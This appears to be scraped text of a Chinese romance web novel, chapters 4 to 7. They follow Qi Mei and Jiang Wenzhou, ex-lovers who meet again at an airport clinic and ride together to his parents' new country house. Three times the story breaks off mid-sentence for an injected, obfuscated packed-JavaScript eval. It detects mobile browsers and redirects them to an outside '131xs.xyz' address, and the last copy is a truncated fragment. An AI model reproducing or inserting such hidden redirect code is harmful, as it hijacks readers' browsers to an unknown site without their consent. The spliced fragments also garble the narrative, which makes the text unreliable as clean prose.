它变成了权力的代言,洁白的底色上铺满了让人作呕的肮脏和污秽。 而她用自己的沉默作为交换好处的筹码,似乎也成了其中一员,她既觉得无奈,又觉得对不起为正义牺牲的父母。 【这些年多亏有你,我才能成为别人口中“会打扮的女生里专业课最好”的齐眉,只是我不想继续了,脚步一旦停下就再也追赶不上,我很快就只能看着你的背影,比起有一天陷入自艾自怜,不如停留在最好的时候。山高水长,望君珍重。】 我希望你变得很好,最好能更好,只是我不想陪你一起走下去了。 果然,什么害怕长辈不同意,只是借口。 这次拉黑江问舟之后,他们似乎达成了一种奇妙的默契,他很少回容城,即便回来,也不会久待,常听干妈说回来两三天就又走了。 她总以为是年轻人工作都太忙,殊不知另有隐情。 齐眉以为这样的情况至少还能持续一段时间,但没想到,江问舟突然就回来了,还是回来工作,再不走了。 她知道的时候第一反应就是:“坏了,以后我还怎么回家?” 不知道该怎么办,索性躲着,她足足两个月没回踏进家门一步,直到干妈告诉她,江问舟为了上班方便,搬到青年路那边那套房子去住了,她这才松口气。 不过江问舟为什么会回来?申大一附院是国内首屈一指的三甲医院,充满无数机遇与挑战,他的所学在那里可以得到充分发挥,理想和抱负也更容易实现。 倒不是说容医大不好,而是这一行吧,它存在一个派系的问题,江问舟比起容医系的同事,会不会吃亏? 不过听干妈说,他的导师郭教授也跳槽到容医大了,他也跟着跳槽……难道他是郭教授的拖油瓶? 江问舟和她一样,习惯报喜不报忧,所以真实情况怎么样,真正的原因是什么,干爸干妈根本不知道。 齐眉好奇,但更怕和江问舟面对面,她想不到该如何尴尬。 虽然知道迟早都会碰见,但能拖一天就是一天…… 她远远看着他,看见他一身黑衣黑裤站在来往的人群里,像一个久远又美丽的梦。 时针好像在这一刻被往回拨转,回到了从前他等她做完实验或者下班的日子。 他也像这样,站在楼下,或者楼梯口,有人经过,问他一句:“在等女朋友啊?” 他点点头,等看见她了,就喊她一声:“西西!” 齐眉被回忆控制着,脚步不听使唤地向他走去。 早上十点左右的机场人来人往,江问舟站在医务室对面的咖啡店门边,看着齐眉从里面走出来。 她穿着一件无袖的圆领松石绿连衣裙,头发用抓夹扎在脑后,扎不上去的碎发沾在她发际和耳边,显得有些毛茸茸的,脸上未施脂粉,一张素颜的脸清淡极了,看上去既熟悉,又有那么一点陌生。 江问舟不知道是不是因为太久没见,才会有这种感觉,只想起当时陪她买这件裙子那天,她从试衣间里出来,一边看着镜子,一边问他:“你觉得这件裙子配我哪双鞋好看?白色那双那双五公分高的?还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559814|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有还有,你有没有觉得我今天的包和这件裙子不太配?” 一边说,一边扭头看向他,明亮的眼睛里闪烁着期待的光芒,狡黠极了。 他立刻领会精神:“隔壁好像是个鞋包店,我们可以去看看。” 她便凑过来,笑吟吟地夸他:“你最好了。” 笑起来时眼睑上的眼影细细碎碎地泛着光,晶莹又动人。 那时候的齐眉最会打扮了,哪怕每天早上都要早早出门上班,她也要仔细化好妆,有时候他劝她不如多睡一会儿,她就说,用最精神的面貌示人是对这份工作的尊重。 还会问他:“老话说兄弟如手足,女人如衣服,你的衣服最漂亮,你不高兴吗?” 他总是笑着说她傻,怎么会这么想。 可是那时候所有人都说他是人生赢家,名校博士毕业,顺利留院,手抓一堆paper,深得老板青眼,还有一个如花似玉又聪慧过人的女友,他前途光明、生活美满,听到别人羡慕的话语,心里总难免得意。 一直到后来某一天,他发了奖金,像往常一样要转给齐眉做家用,却发现很快就被退回,她连银/行/卡都注销了,他才意识到,她真的不要他了。 他糊里糊涂地过了大半个月,同门的师兄在某天下午脸色奇臭地将他堵在实验室,告诉他,方仕平曾经纠缠过齐眉。 “已经离职的一位护工告诉我的,说她亲眼看见,要不是齐眉反应快,把他推开了,可能就……事情发生在你去进修之前,四月中旬的时候,你问问齐眉……” “其他人都知道吗?” “有人知道,但他们装作不知道,还有人以讹传讹,说齐眉和方仕平有染,但是我和师姐他们更倾向于,他用好处收买了齐眉,让她不要把这件事曝光……” 毁掉一个无辜的女孩,最有效也最廉价的办法,就是造黄谣。 有多少人真的会相信这么离谱的传闻,不重要,重要的是,这些传闻一旦出现,不论齐眉是否能自证清白,最后吃亏的都会是她。 方仕平是他们的大科主任,齐眉只是一个学生。她唯一能依靠的只有他,可他也只是一个小医生。 江问舟当然能理解齐眉为什么选择对他隐瞒,在她看来,这件事没有造成实质性伤害,至少看起来如此,而当时他的处境也不算非常好,所以她选择忍下这口气,换方仕平的一个承诺,让他得以顺利去进修。 她是个傻子,为了他的前途竟然受这种委屈。 他也不理解为什么齐眉要放弃读博,这里不好,换一个地方不就可以了?为什么要放弃这八年的努力? 江问舟这辈子都会记得自己当时的心情,又想哭又想笑,更多的是愤怒,要咬紧牙关才能忍得住想脱口而出的脏话。 过了几天,师兄师姐问他怎么办,他说不能怎么办,他和齐眉已经分手了。 ——事以密成,言以泄败,在计划周详并且实施完成以前,他不会告诉任何人。 但后来也确实受到不少人明里暗里的帮助,这让他多少没那么心寒。 这几年里他根本不敢再联系齐眉,怕扰乱她终于恢复平静的生活,怕她再想起从前的事,也不敢面对那个懦弱无能又满怀愧疚的自己。 所有的感情到最后竟然变成了一种恨,恨自己没保护好她,又恨她不信任自己。 她为什么会觉得他会把前途看得比她还重要?那只是一次进修而已,怎么能和她比? 到底是什么给了她这样的误解?她到底知不知道,她以为的为他好,其实是一种独断专横的自作主张。 可这种恨在终于见到她的这一刻,变成了生气。 门口那个凑上去跟她打招呼的小子是谁?! 齐眉刚走到门口,就被肖涵的一声“齐眉姐”叫住,回过神问道:“有什么事吗?” 肖涵有些不好意思,犹豫几秒,很明显是在找借口:“呃、我……我想开点肠胃药,昨天晚上有点拉肚子。” 齐眉装作没听出来,点点头哦了声:“那让刘医生给你开点药吧。” 说着她扭头冲同事道:“刘姐,有病人。” 刘医生诶了声,问道:“着不着急?不着急的话我先查一下药。” 肖涵连忙摇头说不着急,齐眉便要越过他继续往外走。 抬眼时看向对面,看见江问舟脸上眉头紧皱,厚薄适中的双唇也抿成一条线,清晰优美的唇线好像被吃掉了似的。 齐眉心里一顿,忍不住犯嘀咕,这哥生的又是哪门子气? 5. 第五章 从八岁到二十八岁,齐眉和江问舟认识了二十年,尽管这几年分开后他们断了联系,但人的性格很难在这么短的时间里就变得截然不同。 她太了解他了,熟知他每一个表情和小动作背后代表的情绪,就像现在,皱着眉抿起唇,就表示他在不悦。 可她不知道他为什么不悦,是等了很久,觉得不耐烦? 但也不是她让他来的啊?总不能是碰巧路过,所以顺便来接她的吧? 她心里犯嘀咕,脚步便不由自主地放慢。 江问舟看着她那磨蹭的动作,越看越像是对他避之唯恐不及,但又不得不面对他,充满了抗拒和纠结。 心里的火气一时猛涨,高高往上蹿了一大截,烧得他心头一阵钝痛,连眼底都变得酸涩。 对着别人她可以温声细语,怎么对他就避如蛇蝎?江问舟不明白,他们之间的关系,怎么就变成了这样? 他深吸一口气,忍了忍,发觉实在是忍不下这口气。 索性脸一拉,声一沉,有些不耐烦地催了声:“过来!” 齐眉听到这句话,猛地一激灵,下意识就加快脚步,她恍惚间回到了小学考试考砸以后不想回家,江问舟奉命出来找她的时候。 被找到了会发生什么呢?会被戳着脑袋骂是傻子,考试成绩能跟肚子比么,不好好吃饭以后长成个矮子,哭都没地方哭。 这种数落终止在江问舟去上大学那一年,他离开家后,没有人再会这样出来找她了,大概是她已经懂事,不愿意再让干爸干妈操心。 又或者她已经知道,避免这种情况最好的办法,就是让自己永远不要考砸。 更甚者,是她潜意识里明白,除了江问舟,再没有人会这样亲昵地骂她。 她在江问舟面前站定,抬头看他一眼,见他面色冷峻地盯着自己,目光黑沉沉的,似乎藏着说不上来具体是什么的复杂情绪,形成一个黑洞似的漩涡,仿佛下一秒就要将她囫囵吞噬。 当即心头一颤,立刻移开视线不敢再看。 那句本来想没话找话打破尴尬的你怎么来了,也根本说不出口,在舌尖转了两圈,又悠悠的回到肚子里。 她垂下眼睑,看着自己的鞋尖,黑色的工作皮鞋,普普通通,一点装饰或者花纹都没有,胜在舒服好穿。 可是和她曾经喜欢的精致毫不沾边。 江问舟顺着她的视线,也低头看到了她的鞋子,不知怎么的,又想起了她说的那双白色的五公分高的鞋子。 那其实是一双颜色准确说来是练杏色的玛丽珍鞋,小羊皮材质的鞋面是一层有很精致的玫瑰花纹的织物,系带上还点缀着一大一小两颗淡水珍珠,看上去漂亮又温柔。 她买的时候就说一见钟情,买回来后也真的经常穿,搭配裙子和牛仔裤都适合,他还开过玩笑,问她要不要多买几双囤着,万一到时候这双坏了,厂家又不生产了,岂不是没鞋穿? 被她嗔怪着骂了一句神经,“你以为是家里的米吗?这个牌子的好吃,趁有优惠多囤点?” “人们可能忘记多年前某一天发生的事情,但如果这一天被赋予了感情色彩,这一天的很多细节就会被铭刻在长时程记忆中。”[1] 所以,和她有关的一切,他都记得一清二楚,即便只是一句最寻常不过的玩笑。 “你怎么没穿那双……”他听见自己的声音陡然变得有些沙哑,忍不住皱了皱眉,强忍着不适将话说完,“有玫瑰花的那双鞋?” 还说生气呢,一开口却是这样的话。 江问舟突然就对自己觉得恼怒起来。 齐眉一愣,怔了几秒才反应过来,眼神一颤,半晌才摇摇头:“没有了……” 她顿了顿,小声解释道:“回来的时候……没带回来。” 江问舟想问你不是很喜欢那双鞋的吗,话到嘴边又觉得不必问。 换了是他,既然决定与对方,甚至是那一段不太美好的生活回忆划清界限,就会将所有和他们有关的东西都扔了,省得哪天见了又触景生情。 他点点头,觉得心里很多话想说,又不知从何说起,沉默半晌,抬手递给她一个纸袋。 齐眉低垂着的视线往旁边一挪,就看到纸袋上的商标,是家门口那家早餐店的牛肉酥饼,她很喜欢吃,上学的时候天天吃都不腻。 她有些错愕地抬头,还没等问,就听江问舟解释道:“家里今天搬家,估计回去住的时候不多,想再吃到就更难了。” 齐眉哦了声,伸手接过,不知道是不是错觉,竟然觉得袋子还有点余温。 之前想问他怎么来了,现在看来也是不用再问。 不是路过,就是从家里来接她的,但是…… “干妈让你来的?”她咬咬嘴唇问道,低着头扒拉酥饼袋子,装作是不经意地询问,努力维持淡然和随意。 江问舟看一眼她光洁的额头,呼吸顿了一下,半晌才嗯了声。 齐眉心说果然如此,也是,谁会分手之后还巴巴地跑来接前女友下班呢,又不是贱得慌。 她心里弥漫起一点淡淡的酸涩,捧着酥饼低声说了句:“麻烦你了。” 语气听起来客气又礼貌,堵得江问舟心里一闷。 他沉默下来,一时不知道该怎么回答,她上一次跟他这么客气是什么时候来着? 八岁刚到他家那会儿?那会儿还不熟,爸妈让他带妹妹出去玩,天气热,他给她买了雪糕,她接过后乖巧地跟他说谢谢哥哥。 后来他们熟了,她慢慢融入这个家,终于变得胆大起来,又仗着爸妈疼爱,对他就再也没这么客气过了。 再后来,她对他都是直呼其名的,叫哥哥都不愿意。 江问舟侧头,从咖啡店的玻璃门上看到自己的倒影,脸色难看得厉害,像是被人欠了八百万。 他屏住呼吸缓了缓,才嗯了声应道:“走吧。” 齐眉胡乱点点头,啃着烧饼就往前走,单肩包挂在她的肘弯,随着她的脚步晃晃荡荡。 江问舟想帮她拿一下,可抬起手刚碰到包的肩带,又突然停住,默默收回手。 她都不是他女朋友了,他还这么积极做什么。 在他们身后,陈羽丹正满脸好奇地看着齐眉走向一个陌生男人,接过对方给的东西,说话时肩膀似是下意识地往对方那边偏,不由得纳罕,这男的到底是谁啊? 她凭第六感判断齐眉和对方的关系必然匪浅,倒不是他们离得有多近,动作有多亲密,而是那种氛围,很容易让人觉得他俩不清白。 陈羽丹正琢磨下次上班怎么跟齐眉打听八卦呢,转眼就看见一旁还有一个人跟自己一样,目不转睛地盯着同一个方向。 当即眼睛一转,笑嘻嘻地问:“小帅哥,你其实没有肠胃不舒服,是来找我们阿眉姐的,是不是?” 肖涵回过神,先是一愣,旋即涨红了脸,使劲摇头否认道:“不是不是,没有……我真的是不舒服来开药的。” 陈羽丹眨眨眼,笑嘻嘻应道:“好吧,你说是就是咯。” 不过像这样打着身体不适来开药的幌子,实际上是为了接近齐眉的,他也不是第一个了,去年圣诞节那会儿,还有个航空公司的机长追她呢。 就是离过一次婚,不过大家都说对方年纪也不大,还长得不错,年薪百万,已经可以了,放外头相亲市场上是妥妥的热门人选。 但齐眉还是拒绝了,开玩笑说是因为家里不让远嫁,但陈羽丹跟她聊过,她说真正的原因倒也不是这个。 “只是没心思罢了,我现在一个人过得也很不错,工作稳定,有房有车,副业收入也不少,自己过挺好的,家里也没人催,我为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559815|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要自找苦吃。” 她当时听着很羡慕,家里明里暗里催她赶紧找对象结婚,原因无非是嫂子要进门,紧接着就要生孩子,家里房间不够,住不开,最好就是她搬出去。 去年第一次意识到父母催婚的真实目的时,她还懵了好久,连上班都打不起精神。 在给旅客拿错了几次药之后,齐眉注意到她的不对劲,连忙接过她的工作,等旅客离开,才问她发生了什么事。 待听明白事情始末,齐眉问她:“我记得你说过,你的工作是家里托了人的,是吗?” 她说是,原本她在医院上班,但赚得少不说,三班倒还辛苦,最重要的是领导不好相处,她总挨欺负,父母和兄长就托了七拐八弯的关系,把她送进了机场工作。 齐眉说那肯定花了不少人情吧,又问她:“你觉得家里条件怎么样,够不够再买个房子?” 那肯定是不够的,要是够的话,大哥也不用打算在家结婚了。 “所以就是没办法。”齐眉安慰她,“他们不是不爱你,只是更爱你大哥,但人的手指有长有短,心本来就是偏的,你以后可能也会有更偏爱的人,比如在孩子和父母之间你也许会选择孩子,认清这个现实,并且接受它,你就不会那么痛苦了。” 她当时问齐眉,那你呢?齐眉说,她的父母只有她一个孩子,她没办法问,但是如果是她的干爸干妈,在她和他们的儿子之间,应该是更偏向他们的孩子的。 “你这个不一样,亲生的和不是亲生的,当然不一样了。” 当时齐眉只是笑,请她喝了一杯新品咖啡,还选的全糖,说是甜食能让心情变好。 陈羽丹想起齐眉通透的眉眼,再看看肖涵被戳破心事后满脸通红的尴尬模样,心里忍不住有点嫌弃。 你小子配不上我姐哈:) 江问舟跟在齐眉身后,从员工通道一直走到员工专用停车场,他一路上都用一种审视的目光打量着周围的环境,神情严肃到齐眉觉得他更像是来考察准备投资的。 她心里嘀咕,但又不敢说出来,总觉得这会儿的江问舟心情不太好,不敢惹不敢惹。 路上倒是碰到几个同事,基本都是下班的,打招呼的时候对方明显对江问舟有些好奇,但齐眉完全没有介绍的意思,简单说一句“你也下班啦”之类的寒暄,就领着江问舟匆匆去找车。 这种举动被江问舟看在眼里,心里的怒气像俄罗斯方块,先是一层叠一层,接着又在他的自我调理中减少一点,再接着一层叠一层。 他想起他们的以前,还没真正在一起的时候,因为她对他有心思,所以每次都会主动跟人家介绍,这是我干妈家的哥哥,如果他们聊起家里的事时,旁边恰好有别人,她就会很刻意地更换称呼,说干爸或者干妈如何如何。 为的是强调他们的关系,不是亲兄妹不是亲兄妹! 所以后来变成情侣,身边没有一个熟人觉得奇怪,反而觉得理所当然,青梅竹马嘛,最容易感情变质了。 那时她还好得意,说自己真是深谋远虑,潜移默化的工作做得好。 可是现在呢?她连对同事和熟人介绍一句他都不肯了。 他是她无足轻重的无关人士,还是她不堪回首的旧日污点? 江问舟觉得这停车场好像空气不太流通,他有些呼吸不畅,心口闷得难受。 齐眉的车停得似乎有点远,江问舟跟着她,沉默经过一辆又一辆车,脚步声在偌大的停车场里响起轻微的回声。 他们先是并肩而行,走着走着,江问舟的脚步就放慢下来,渐渐落后在齐眉身后,亦步亦趋,同时在心里暗暗判断哪一辆车是她的。 直到她在一辆灰色的车子前站定,从包里掏出钥匙按了一下,车灯闪动。 “怎么不是蓝色?”江问舟脱口问道。 6. 第六章 齐眉喜欢蓝色,各种各样的蓝色。 他们曾经在某个双双休息的周末一起去看车展,别人要么去看豪车和车模,要么关注车子的性能,就她关注别的颜色。 “我以后要买蓝色的。”她拽着江问舟的胳膊,信誓旦旦地许愿,“领工资了就买,一定!” 江问舟顺着她的话说:“我发工资了,或者……我先买?你喜欢哪个蓝色?” 喜欢的东西,如果能早点得到,也许会更快乐,早买早享受嘛。 可是齐眉摇摇头,“这是我要开的车,我自己买,你又不喜欢蓝色。” 她总是很有主见,很坚持自己的每一项决定,从始至终。 可是现在,好像不是这样了,江问舟想到一直留在手机里舍不得删的信息,忍不住有些心酸。 听到他问为什么不是蓝色,齐眉先是愣了一下,拿着酥饼的手下意识握了一下,指尖隔着纸袋捏碎了酥饼的脆壳。 她回过神,低头嗯了声:“买车的时候没看到有蓝色的,灰色……也挺合适的。” 低调,不显眼,不会吸引太多目光。 她边说话,边拉开了驾驶座的车门,江问舟深吸口气:“我来开吧。” 齐眉又愣了一下,点点头,侧身让开车门的位置,从他身边一绕,朝车的另一边走。 看到她这个动作,江问舟的眉头又忍不住皱了皱。 但却发现内心的情绪变得平静了一点,这可能也是另一种形式的习惯成自然吧,人类该死的适应能力。 他上了车,正准备在导航里输入新家地址,就听一旁传来齐眉有些犹豫的询问:“那个……我可以先去接我的狗吗?” 江问舟动作一顿。 齐眉见状立刻解释:“我养了一只狗,上班的时候就把它送去宠物店寄养,下班就去接它,要是今天突然没去,它会不高兴的。” 那是一只非常聪明,但同时有些敏感的小狗,一旦齐眉到了时间没去接它,它就会一直闷闷不乐,直到见到齐眉为止。 所以齐眉如果要出门好几天,都会事先跟它说好,什么时候会来接它,每天跟它视频,这样才能将它稳住。 可是这次没有跟它说好,而且听干妈说新家有大草坪和池塘,她也想带年年去看看。 但江问舟听了这话却一阵沉默,过了一会儿才哼地笑了声,颇有些意味深长地说了句:“你还真是守信。” 你的小狗一定很幸福吧:) 这话本来没什么问题,但他的语气听起来实在太奇怪了,齐眉忍不住心头一跳。 她下意识想解释,想说这是年年狗生自带的性格,可是抬眼却见他平静的眉眼间仿佛笼罩着一层薄霜,又不由得噤声。 她捧着酥饼一时不知该如何是好,那种局促不安的情绪在不算宽敞的车厢里迅速扩散,下一刻便被江问舟准确捕捉。 “地址。”他头也不抬地接着道,语气淡淡。 齐眉连忙报了地址,听到街道名字,江问舟眨了眨眼,状似不经意地问:“你现在住在风尚一品那套房子?” 那套房子是齐眉大一那年暑假买的。 暑假的某一天,江眀琮从单位回来,和孙茂芸进房间说了一会儿话,出来后把两个孩子叫去了书房。 然后江眀琮指着书桌上的一个红木盒子,对齐眉说,这是她父母留给她的其中一部分遗产。 里面是一本存折,余额大概一百二十万左右,是她父母和祖父母生前留下的存款,还有几件金饰,说是父母结婚时,祖父母那边给的。 另外还有几张照片,和一封信。 照片全都是齐眉刚出生时拍的全家福,两位老人在齐眉刚上小学时就病逝,时间过得太久,她委实没什么印象,拿着照片看了一会儿,很快就将注意力放到信上。 信是她父亲齐天远写给江眀琮的,里面详细叙述了这些东西的来历,皆是变卖家产所得,他自知行动危险,很可能回不来,所以先将齐眉托付给他,还说如果能回来,他们以后就在容城定居了,托江眀琮代为物色一处房子。 “但是他没能回来,所以这房子也一直没找。”江明琮当时这样说,处理完齐天远的后事,这些东西就拿去公证了,他给齐眉看公证材料,告诉她还有另一部分财产,“是你妈妈另外给你留的,等你大学毕业工作了再交给你。” 没等她消化完这事,孙茂芸接着拿出另一本存折,那是有关部门专门给她开的户头,每个月都会往里打钱,抚恤金。 “这些年也用不着,就攒出来了。”孙茂芸宣布,“今天这钱,我们要做一件大事。” 要给齐眉买房。按孙茂芸的说法,女孩子还是要有不动产傍身才好,不管遇到什么事,都有一份保障。 于是整个暑假,江问舟每天当司机陪她去看房,跑得腿都细了,终于在要回学校前一天定下风尚一品这套房子,付了大半的钱,房贷就从剩余的存款里慢慢扣——孙茂芸怕后面会遇到花钱的地方,没敢存折余额都花干净。 之后简单装修,寻找合适的租客,都是孙茂芸在操心。 买青年路那套是几年后了,齐眉研一的时候,江问舟已经拿工资好一段时间,兜里也有点积蓄了,家里说给他准备房子的时候,他清点存款,估算过未来预期收入,跟孙茂芸提了个学区房。 然后跟齐眉解释:“那个小学教学质量不错,我有高中同学毕业以后在那里上班,如果小朋友要回容城上学的话,是个不错的选择,如果不回,那里的房子出租或者出售都容易些。” 齐眉眨眨眼,哎呀一下,说他想太多,他就笑眯眯地看着她,直到将她看得不好意思了,才摇摇头说其实时间过得很快的。 那时候多好,他们都对和彼此在一起的未来充满憧憬和计划。 只可惜未来没有来。 “那边离机场近,上班方便点。”听到他的询问,齐眉放下手里的酥饼,解释道。 江问舟点点头,什么都没再说,启动车子缓缓退出了停车位。 他给齐眉带的早餐里除了一个牛肉酥饼,还有一杯豆浆,是用黄豆和大米小米打的,二十年了,那家店一直是这个配方,孙茂芸笃信这样很有营养,以前念书时江问舟和齐眉每天早上的早餐都有一杯。 但这种味道随着他们长大离开家,已经很少再吃到了,后来每次放假回家,第一件事就是去吃豆浆,齐眉还开玩笑,说这就像是熟悉的陌生人。 如今用来形容他们之间的关系,竟然也一点都不违和。 车厢里很安静,齐眉小口小口地啃着酥饼,不知道为什么,她有点不敢发出太大的动静。 一口酥饼要在嘴里含一会儿,等软了,咀嚼时不会再发出清脆的声音,她才开始嚼嚼嚼。 江问舟趁等红灯时看了她一眼,见她吃两口饼喝一口豆浆,动作慢吞吞的,才想起来一开始没问她吃没吃过早饭,要是吃过了,这会儿当然吃不下。 一时觉得有些抱歉,正准备说吃不下就算了吧,就见她突然抬头看着车窗,问道:“我能开一下窗吗?” 实在是受不了了,太安静了,安静得让她觉得难受。 她看着车窗玻璃里倒映的青年线条紧绷的脸孔,觉得无奈的同时,又有丝丝缕缕的钝痛传来。 江问舟闻言先是微微一愣,旋即回过神,淡淡道:“你的车,你做主。” 声音听起来像是有些不高兴,齐眉也不敢问到底是不是,赶紧伸手按了一下车窗的按钮。 这时节已经进入容城的雨季,随时都有可能下雨,今天虽然没下,但天气也不算好,天灰蒙蒙的,空气潮湿,气压也有些低。 但再怎么低,也比原来紧闭车窗的车厢要好多了。 车流穿梭街道的声音灌入耳中,像是轻盈优美的旋律,齐眉觉得周围的空气立刻便流动起来,呼吸瞬间顺畅,心里好受多了。 她忍不住轻呼一口气。 江问舟听见,心想她可能真的吃不下了,再次准备让她算了,可还是没来得及,就见她扭头一边看着窗外,一边咬了一大口饼。 他顿时一噎,到了嘴边的话又一次咽回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐眉抱住扑到怀里的年年,揉揉它的狗头,捏住它要舔过来的嘴筒子,笑眯眯地问:“年年有没有乖乖听姐姐的话,乖乖吃饭呀?” 柔和温软的声音,通常会让听的人如沐春风,但江问舟却眉头皱得能夹死苍蝇。 跨物种了,它能听得懂人话么。 齐眉安抚了一会儿小狗,拽着狗绳跟送它出来的店员道谢,牵着它转身。 年年刚要迈开腿,就看见了前面的江问舟。 它抬起头,咧着嘴朝他头一歪,黑葡萄一样的眼睛里闪动着好奇。 萨摩耶真是会微笑的小狗,江问舟垂头看它,见它浑身毛发雪白丰满,打理得干净柔顺,一看就是被养得很好。 齐眉见年年好奇,就拉着它笑眯眯地介绍说:“这是舅舅。” 按辈分和关系来说确实是这样的,齐眉把它当崽子,那他确实是它舅舅没错。 但江问舟不高兴听到这句话,哼地笑了声,语气淡淡:“谁是它舅舅。” 这个人类好奇怪,年年歪头看着他。虽然没有摸它脑袋,但也没有感受到恶意。 齐眉却抿了抿嘴唇,眼睑颤了一下,垂下去,遮住了眼睛里的情绪。 嘴角却还是弯着的,只一句话也没说。 俩人沉默地上了车,这次齐眉坐到了后座,和年年坐在一起。 察觉她的情绪不太好,年年凑上去,把大脑袋枕到她腿上,有些玩闹似的拱拱她。 齐眉笑起来,揉揉它的脑袋,一下又一下地顺着它身上的毛,最后低头贴贴它的脸。 江问舟从后视镜里往后看了一次又一次。 孙茂芸和江眀琮这次搬家,从市区直接搬到了远郊,光开车就开了两个多小时,道旁风景从高楼林立到林木田地,终于在过了一道桥后,停在一处小院门口。 江问舟摁了两下喇叭,就见前面的大铁门从里面打开了,孙茂芸没出来,倒是一只浑身金黄的长毛猫从里面跑出来,浑身毛发蓬松极了,竖起来的尾巴拖把似的,四只爪子像是穿着小靴子。 它冲到门口,一个急刹车,耳朵一动,警惕地看着面前陌生的人类和大狗。 年年高兴啊,嗨呀,居然有小漂亮! 它立刻就往前凑,被对方哈了一下,顿时一愣。 江问舟上前,弯腰抱起地上的猫,转头让它看齐眉,介绍说:“金金,这是姑姑。” 齐眉:“……” 7. 第七章 “哟,我们家的少爷小姐终于回来啦?”一道透着笑意的女声打破了小院门口略显对峙的气氛。 齐眉从江问舟那声“姑姑”的回敬中回过神,一边在心里嘀咕这人不会真的这么幼稚吧,一边抬眼往院子里看。 只见一身黑白运动装的孙茂芸正从铺着青石板的小径上快步向他们走来,眉眼间尽是轻松愉悦的笑意,衬得她面容愈发和善慈爱。 齐眉立刻笑着叫一声:“干妈!” 声音清脆雀跃,好像之前在车里时江问舟感觉到的那种萎靡低沉的情绪瞬间就被拉高起来,变得高兴多了。 他忍不住嘴角一翘,回过神,立刻往下一压。 孙茂芸接住朝她扑过来的年年,揉揉它的大脑袋,捧着它的脸笑着问:“我们好几个月没见了,年年你想不想奶奶呀?” 年年兴奋地哈着气,后腿不停点地,看得出来它非常激动。 孙茂芸就说:“都怪你妈,自己忙就算了,也不送你回家来住几天。” 齐眉闻言神情一顿,有些尴尬地讪笑着,根本不敢扭头看旁边的江问舟。 为什么不回来,她和这个人彼此心知肚明。 江问舟像是没听到孙茂芸说的话,也没察觉齐眉的尴尬,将怀里的猫放下,温声问道:“屋子都收拾好了?” “差不多了,还有点零零碎碎,你爸收拾着呢。”孙茂芸松开年年,一面笑眯眯地应,一面弯腰抱起金金。 “我去帮忙。”江问舟应道,目不转睛地越过俩人,头也不回往屋里走。 黑衫黑裤的背影看上去一如既往地挺拔修长,肩膀展得宽宽的,线条一路乡下收窄,在黑色的皮带上再往外稍稍扩散。 齐眉有些怔怔地看了片刻,被年年往前冲的拉力拽得回过神,匆匆收回视线。 “这是怎么了?”她失笑着问。 孙茂芸代替它回答道:“要撒欢呗,那么大的院子和草坪,谁能忍得住啊。” 说是农家小院,其实建筑风格很现代化,跟绝大多数小别墅没什么区别,黑白撞色的外立面简约大方,高高的围墙围住了大片草坪,中间以青石板小径贯通,围着一个不大不小的水塘。 水塘边缘布置有形状大小不一的青石,乍一看摆放得很随意,但多看一会儿,就觉得有种随性的美。 “这是个鱼塘,房东原来在这里养鱼,草鱼鲤鱼这些,我跟你干爸说了,明天就让人来清塘,我们也养,到时候给家里加菜。”孙茂芸说得兴致勃勃,俨然要认真回归田园的样子。 齐眉听了直笑,点点头说:“我们家以后也是自给自足的小农经济了。” 说完又问:“我看这院子很好,房子也挺新的,这家的房东怎么要往外租啊?” “女儿移民去新加坡了,接老两口去共享天伦呗。”孙茂芸解释道,接着又笑,“我们家也不错啦,本来我和你干爸还想着是不是要想法子给他在申城凑个首付,结果还没等跟他提呢,他就回来了,哎呀,肯定是菩萨听到了我的心声。” 她说完哈哈笑了两声,听起来高兴极了。 齐眉却有点笑不出来,抿着唇弯了弯嘴角,赶紧转移注意力朝院子里其他地方走去。 两侧围墙边种着各式各样的花,花色各异的三角梅来得如火如荼,屋门前还有半人高的花坛,蓝雪花还没到盛花期,只有零星蓝紫色点缀其中。 “家里现在花可多了。”孙茂芸将猫放下,拉着齐眉的手,带她去看花,“我来看房的时候,刚好有月季开了,房东说都是他女儿以前种的,还有太阳花和三角梅,两边墙根,还有房子旁边,都是,我就想还真是巧,你也喜欢,要是搬过来,你也经常回来住,就有很多花看了,我就跟他说,我要租十年,能不能房租算便宜点给我。” 齐眉喜欢花,各种各样的花,她将家里的阳台打造成一个精致小巧的花园,但受限于环境,还是有太多花不能搬回家。 “后面还有一块菜地,这下好咯,可以自己种菜了。”孙茂芸喜滋滋地道,“现在青菜这么贵,自己种就省钱多啦,以后你的菜家里都包了。” 齐眉忍俊不禁,连连点头,捧场地说:“那我可就靠您接济了,正好省的钱可以多喝几杯咖啡。” “咖啡喝多不好的。”孙茂芸说了一句,又叹气,“不过上班是不容易,我以前上班那会儿,也是靠茶靠咖啡提神。” 她退休前是会计事务所的审计师,每年总有一段时间特别忙碌,连续好几天熬通宵是家常便饭。 齐眉还记得以前好多个每个江眀琮出差不在家,孙茂芸加班到深夜的夜晚,都是江问舟给她检查作业,帮她听写,然后带她下楼去吃宵夜。 吃完宵夜俩人一起回家的时候,她会故意走在他前面一点,这样可以踩到他的影子。 院子一角还有一棵龙眼树,她好奇地问:“这是那个品种?” “小小的那种。”孙茂芸面露嫌弃,“只有一层薄薄的果肉那种,不好吃的。” 